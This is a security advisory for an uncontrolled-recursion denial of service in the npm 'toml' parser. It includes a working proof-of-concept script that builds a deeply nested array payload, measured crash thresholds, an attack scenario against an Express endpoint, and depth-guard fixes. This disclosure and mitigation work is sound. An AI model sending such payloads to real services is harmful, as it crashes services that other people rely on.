GHSA-82X6-Q7MM-W9CF
Vulnerability from github – Published: 2026-09-03 20:56 – Updated: 2026-09-03 20:56Summary
toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.
A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.
Vulnerable Code
The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:
// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
...
s0 = peg$parsearray(); // line 1017 ← value → array
if (s0 === peg$FAILED) {
s0 = peg$parseinline_table(); // line 1019 ← value → inline_table
}
...
}
// peg$parsearray() @ line 2879
function peg$parsearray() {
...
s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge)
...
}
// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
...
s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge)
...
}
Recursion cycle for a=[[[ … ]]] (bare nested arrays):
toml.parse(src)
→ peg$parsevalue() # parser.js:1008
→ peg$parsearray() # parser.js:1017 / 2879
→ peg$parsevalue() # parser.js:2931 ← back-edge, per nested element
→ … # depth == input nesting → RangeError, no guard
Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / peg$parseinline_table_entry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).
Confirmed PoC (toml 4.1.2, Node.js v24.16.0)
Setup:
npm install toml@4.1.2 # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"
Reproduce — save as poc.js, run node poc.js:
const toml = require('toml');
console.log('version:', require('toml/package.json').version); // 4.1.2
// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length); // 6003
try {
toml.parse(payload);
console.log('no crash');
} catch (e) {
console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
console.log('is RangeError?', e instanceof RangeError, // true
'| is SyntaxError?', e instanceof SyntaxError); // false
}
Expected output (vulnerable — actual run):
version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false
Verified crash thresholds (fresh process, single parse, default Node 24 stack):
| Payload shape | Reliable crash depth | Payload size |
|---|---|---|
Bare nested array a=[[ … ]] |
≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) |
Inline table {arr=[ … ]} |
≥ ~1,500 | ~12 KB |
Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured
--stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.
Realistic Attack Scenario
// Node.js service parsing user-supplied TOML config
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));
app.post('/config', (req, res) => {
try {
const config = toml.parse(req.body); // ← RangeError on ~6 KB nested payload
res.json({ status: 'ok' });
} catch (e) {
// toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)
// on malformed input. A RangeError has neither, so this guard rethrows it:
if (e.line != null) return res.status(400).json({ error: e.message });
throw e; // RangeError propagates → uncaught → worker down
}
});
An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).
The package exports only
parse(Object.keys(require('toml'))→['parse']); there is notoml.SyntaxError. Code written ascatch (e) { if (e instanceof toml.SyntaxError) … }is itself broken (instanceof undefinedthrows), so applications generally cannot cleanly distinguish the DoSRangeErrorfrom a normal parse error.
Impact
Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.
RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.
Suggested Fix
Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:
Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:
// In the grammar initializer:
{ let depth = 0; const MAX_DEPTH = 500; }
// Wrap the recursive `value` rule:
value = &{ if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); } return true; }
v:(array / inline_table / ...) { depth--; return v; }
Option 2 — entry-point guard in index.js (reject pathological input before parsing):
module.exports.parse = function (input) {
// cheap structural bound before the recursive parse
let depth = 0, max = 0;
for (const ch of input) {
if (ch === '[' || ch === '{') max = Math.max(max, ++depth);
else if (ch === ']' || ch === '}') depth--;
}
if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');
return realParse(input);
};
Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).
Comparison with Related Vulnerabilities
Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinline_table and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "toml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77465"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-03T20:56:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n\n`toml.parse()` crashes with an uncaught `RangeError: Maximum call stack size exceeded` when parsing deeply nested arrays or inline tables. The parser is generated by **Peggy 5.1.0** (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with **no depth limit**, so nesting depth equal to the input depth exhausts Node\u0027s call stack.\n\nA small payload \u2014 a bare array nested a few thousand levels deep (**~5\u20136 KB**) \u2014 reliably crashes the process on a default Node.js configuration. `toml` has **~47 million monthly downloads**.\n\n---\n\n## Vulnerable Code\n\nThe parser is a **generated** recursive-descent parser (`lib/parser.js`, header: `// @generated by Peggy 5.1.0.`). The recursion sink is the mutual recursion between the `value`, `array`, and `inline_table` rule functions \u2014 none carry a depth counter:\n\n```javascript\n// lib/parser.js \u2014 peg$parsevalue() @ line 1008\nfunction peg$parsevalue() {\n ...\n s0 = peg$parsearray(); // line 1017 \u2190 value \u2192 array\n if (s0 === peg$FAILED) {\n s0 = peg$parseinline_table(); // line 1019 \u2190 value \u2192 inline_table\n }\n ...\n}\n\n// peg$parsearray() @ line 2879\nfunction peg$parsearray() {\n ...\n s3 = peg$parsevalue(); // line 2931 \u2190 array element \u2192 value (back-edge)\n ...\n}\n\n// peg$parseinline_table() @ line 3066 \u2192 peg$parseinline_table_entry() @ line 3239\nfunction peg$parseinline_table_entry() {\n ...\n s5 = peg$parsevalue(); // line 3266 \u2190 inline-table value \u2192 value (back-edge)\n ...\n}\n```\n\n**Recursion cycle** for `a=[[[ \u2026 ]]]` (bare nested arrays):\n\n```\ntoml.parse(src)\n \u2192 peg$parsevalue() # parser.js:1008\n \u2192 peg$parsearray() # parser.js:1017 / 2879\n \u2192 peg$parsevalue() # parser.js:2931 \u2190 back-edge, per nested element\n \u2192 \u2026 # depth == input nesting \u2192 RangeError, no guard\n```\n\nInline tables (`{arr=[ \u2026 ]}`, `{a={a= \u2026 }}`) reach the same cycle via `peg$parseinline_table` / `peg$parseinline_table_entry`. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (`src/toml.pegjs`) or in an input guard (see *Suggested Fix*).\n\n---\n\n## Confirmed PoC (toml 4.1.2, Node.js v24.16.0)\n\n**Setup:**\n\n```bash\nnpm install toml@4.1.2 # latest release; 4.1.1 and earlier are equally affected\n# Docker equivalent:\n# docker run --rm node:24 bash -c \"npm i -g toml \u003e/dev/null 2\u003e\u00261; node -e \u0027\u003cPoC below\u003e\u0027\"\n```\n\n**Reproduce** \u2014 save as `poc.js`, run `node poc.js`:\n\n```javascript\nconst toml = require(\u0027toml\u0027);\nconsole.log(\u0027version:\u0027, require(\u0027toml/package.json\u0027).version); // 4.1.2\n\n// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)\nlet x = \u00271\u0027;\nfor (let i = 0; i \u003c 3000; i++) x = \u0027[\u0027 + x + \u0027]\u0027;\nconst payload = \u0027a=\u0027 + x;\nconsole.log(\u0027payload bytes:\u0027, payload.length); // 6003\n\ntry {\n toml.parse(payload);\n console.log(\u0027no crash\u0027);\n} catch (e) {\n console.log(\u0027CONFIRMED:\u0027, e.constructor.name + \u0027:\u0027, e.message.slice(0, 40));\n console.log(\u0027is RangeError?\u0027, e instanceof RangeError, // true\n \u0027| is SyntaxError?\u0027, e instanceof SyntaxError); // false\n}\n```\n\n**Expected output (vulnerable \u2014 actual run):**\n\n```\nversion: 4.1.2\npayload bytes: 6003\nCONFIRMED: RangeError: Maximum call stack size exceeded\nis RangeError? true | is SyntaxError? false\n```\n\n**Verified crash thresholds (fresh process, single parse, default Node 24 stack):**\n\n| Payload shape | Reliable crash depth | Payload size |\n|---------------|----------------------|--------------|\n| Bare nested array `a=[[ \u2026 ]]` | \u2265 ~2,500 | **~5 KB** (6 KB at depth 3000, used above) |\n| Inline table `{arr=[ \u2026 ]}` | \u2265 ~1,500 | ~12 KB |\n\n\u003e **Note on the exact threshold:** the precise crashing depth is not perfectly deterministic \u2014 it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured `--stack-size`. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.\n\n---\n\n## Realistic Attack Scenario\n\n```javascript\n// Node.js service parsing user-supplied TOML config\nconst express = require(\u0027express\u0027);\nconst toml = require(\u0027toml\u0027);\nconst app = express();\napp.use(express.text({ type: \u0027application/toml\u0027, limit: \u0027100kb\u0027 }));\n\napp.post(\u0027/config\u0027, (req, res) =\u003e {\n try {\n const config = toml.parse(req.body); // \u2190 RangeError on ~6 KB nested payload\n res.json({ status: \u0027ok\u0027 });\n } catch (e) {\n // toml only throws a peg$SyntaxError (e.name === \u0027SyntaxError\u0027, with e.line/e.column)\n // on malformed input. A RangeError has neither, so this guard rethrows it:\n if (e.line != null) return res.status(400).json({ error: e.message });\n throw e; // RangeError propagates \u2192 uncaught \u2192 worker down\n }\n});\n```\n\nAn unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). `toml.parse` overflows the stack and throws `RangeError`; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).\n\n\u003e The package exports **only** `parse` (`Object.keys(require(\u0027toml\u0027))` \u2192 `[\u0027parse\u0027]`); there is **no** `toml.SyntaxError`. Code written as `catch (e) { if (e instanceof toml.SyntaxError) \u2026 }` is itself broken (`instanceof undefined` throws), so applications generally cannot cleanly distinguish the DoS `RangeError` from a normal parse error.\n\n---\n\n## Impact\n\nAny Node.js application that calls `toml.parse()` on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5\u20136 KB) deeply nested payload. `toml.parse` is the package\u0027s only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With **~47 million monthly downloads** and **0 existing CVEs**, the exposure is broad.\n\n`RangeError` is a subclass of `Error` (not of the parser\u0027s `SyntaxError`), so it bypasses the usual \"is this a parse error?\" checks and propagates as an unexpected exception.\n\n---\n\n## Suggested Fix\n\nBecause `lib/parser.js` is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:\n\n**Option 1 \u2014 grammar-level depth guard (`src/toml.pegjs`), then re-run Peggy:**\n\n```javascript\n// In the grammar initializer:\n{ let depth = 0; const MAX_DEPTH = 500; }\n\n// Wrap the recursive `value` rule:\nvalue = \u0026{ if (++depth \u003e MAX_DEPTH) { error(\"TOML nesting too deep\"); } return true; }\n v:(array / inline_table / ...) { depth--; return v; }\n```\n\n**Option 2 \u2014 entry-point guard in `index.js`** (reject pathological input before parsing):\n\n```javascript\nmodule.exports.parse = function (input) {\n // cheap structural bound before the recursive parse\n let depth = 0, max = 0;\n for (const ch of input) {\n if (ch === \u0027[\u0027 || ch === \u0027{\u0027) max = Math.max(max, ++depth);\n else if (ch === \u0027]\u0027 || ch === \u0027}\u0027) depth--;\n }\n if (max \u003e 500) throw new Error(\u0027TOML nesting depth exceeds limit (500)\u0027);\n return realParse(input);\n};\n```\n\n**Immediate mitigation (users, verified):** bound untrusted input length **and** bracket-nesting depth before calling `toml.parse()`, e.g. reject payloads whose maximum `[`/`{` nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).\n\n---\n\n## Comparison with Related Vulnerabilities\n\nSame CWE-674 class as the recursion-DoS findings in the PyPI `toml` package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is **generated by Peggy**, so the recursion lives in `peg$parsevalue`/`peg$parsearray`/`peg$parseinline_table` and cannot be fixed by editing a hand-written function \u2014 the earlier draft of this report incorrectly showed hand-written `parseValue(tokens, index)` functions that do not exist in the package.",
"id": "GHSA-82x6-q7mm-w9cf",
"modified": "2026-09-03T20:56:14Z",
"published": "2026-09-03T20:56:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-82x6-q7mm-w9cf"
},
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/pull/72"
},
{
"type": "WEB",
"url": "https://github.com/BinaryMuse/toml-node/commit/967b8b06754f3ecd9863cea118dc50792a8c353f"
},
{
"type": "PACKAGE",
"url": "https://github.com/BinaryMuse/toml-node"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "toml-node: Uncontrolled Recursion"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.